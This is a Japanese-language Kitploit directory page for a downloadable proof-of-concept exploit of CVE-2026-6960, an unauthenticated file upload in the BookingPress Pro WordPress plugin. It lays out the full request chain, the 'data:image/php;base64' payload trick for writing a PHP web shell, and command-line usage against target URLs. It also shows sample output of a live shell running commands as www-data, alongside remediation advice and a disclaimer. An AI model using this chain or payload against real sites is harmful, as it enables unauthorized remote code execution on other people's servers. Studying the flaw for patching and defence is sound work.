Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6960 — CVE-2026-6960 の概念実証エクスプロイト:BookingPress Pro ≤ 5.6 における未認証の任意ファイルアップロード。データ URI インジェクションを介して PHP Web Shell をアップロードする3ステップのチェーンを自動化し、脆弱な WordPress サイト上でリモートコード実行を達成します。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-6960
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubxxconi/cve-2026-6960

CVE-2026-6960

CVE-2026-6960 の概念実証エクスプロイト:BookingPress Pro ≤ 5.6 における未認証の任意ファイルアップロード。データ URI インジェクションを介して PHP Web Shell をアップロードする3ステップのチェーンを自動化し、脆弱な WordPress サイト上でリモートコード実行を達成します。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | 未認証の任意ファイルアップロード

CVE CVSS CWE Auth Version Python

研究者: Atomic Edge 深刻度: Critical | CVSS: 9.8 | 認証要件: なし

⚠️ v2 — 技術的修正を適用(コミュニティからのフィードバックに基づく) 詳細は 変更履歴 を参照してください。


概要

BookingPress Pro WordPress プラグイン(バージョン ≤ 5.6)には、重大な未認証の任意ファイルアップロードの脆弱性が存在します。予約送信ハンドラー bookingpress_book_appointment_booking は、署名カスタムフィールドの値をデータURIとして処理します。プラグインは正規表現を使用してURIのMIMEタイプ部分からファイル拡張子を抽出し、それをそのまま file_put_contents() に渡します — 拡張子の許可リストやブロックリストはありません。これにより、攻撃者はPHPウェブシェルをウェブからアクセス可能なディレクトリに書き込み、リモートコード実行(RCE) を達成できます。


前提条件

⚠️ サイトが悪用可能であるためには、次のすべてが当てはまる必要があります:

  • ✅ サイト管理者が BookingPress 予約フォームに署名タイプのカスタムフィールドを設定している必要があります
  • ✅ 有効なタイムスロットを生成するために、アクティブなサービスが少なくとも1つ存在する必要があります
  • ✅ BookingPress 予約フォームウィジェットを含むページが一般にアクセス可能である必要があります

署名カスタムフィールドが設定されていない ≤ 5.6 のサイトは、この攻撃ベクトルでは悪用できません。


攻撃フロー

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

根本原因の詳細

脆弱なコードパスは、署名フィールドの値をデータURIとして処理します:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress は正規表現マッチを使用してMIMEタイプから {ext} を抽出し、その拡張子をファイル名に追加して file_put_contents() でデコードされたコンテンツをディスクに書き込みます — 許可リストのチェックは実行されません。MIMEタイプとして image/php を指定すると、.php ファイルがアップロードディレクトリに書き込まれます。

これは標準のマルチパートファイルアップロードとは根本的に異なります — ペイロードはファイルアップロード部ではなく、JSONボディフィールドに埋め込まれます。


必要環境

root@kitploit:~
pip install requests

使用方法

root@kitploit:~
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

引数

出力例

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

修正策

  1. 拡張子を抽出する前に、データURIのMIMEタイプを厳格な許可リスト(image/png、image/jpeg、image/svg+xml)に対して検証する
  2. 攻撃者が制御する入力からファイル拡張子を導出することは絶対に行わない — 固定の安全な拡張子を持つランダムなファイル名を生成する
  3. すべてのファイルタイプ検証に WordPress 標準の wp_check_filetype_and_ext() を使用する
  4. 直接実行を防ぐために、署名ファイルをウェブルートの外に保存することを検討する

→ 直ちに BookingPress Pro 5.7 に更新してください。


変更履歴

v2 (2026-05-23) — 技術的修正


免責事項

このリポジトリは、許可されたセキュリティ研究および教育目的のみを意図しています。 システム所有者からの明示的な書面による許可なしに、このツールをいかなるシステムに対しても使用しないでください。 無断使用は、CFAA(米国)、刑法第342.1条(カナダ)、EU NIS2指令、およびその他の適用される法律に違反する可能性があります。 著者は、このコードから生じる誤用または損害についていかなる責任も負いません。

ツールをダウンロード
プロパティ詳細
プラグインBookingPress Pro (bookingpress-appointment-booking-pro)
影響を受けるバージョン≤ 5.6
修正バージョン5.7
攻撃ベクトルネットワーク / 未認証
AJAX アクションbookingpress_book_appointment_booking
根本原因攻撃者が制御するデータURI内のMIMEタイプから拡張子を抽出し、許可リストなしで file_put_contents() に渡す
CWECWE-434: 危険なタイプのファイルの無制限アップロード
フラグ説明デフォルト
-u, --url対象の WordPress URL(必須)
-bp, --booking-pageBookingPress フォームを含むページパス/
-s, --service-idBookingPress サービスの ID1
-f, --filenameシェルのファイル名(データURIのMIMEに注入される拡張子)shell.php
--no-verifySSL 証明書の検証を無効化false
#項目v1(誤り)v2(修正後)
1AJAX アクションbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2ペイロード方式image/png を使用したマルチパートファイルアップロードデータURI: data:image/{ext};base64,...
3エクスプロイトの流れ直接の未認証POST3段階の前提条件チェーン(nonce → transient → token)
4前提条件記載なし署名カスタムフィールドの設定が必要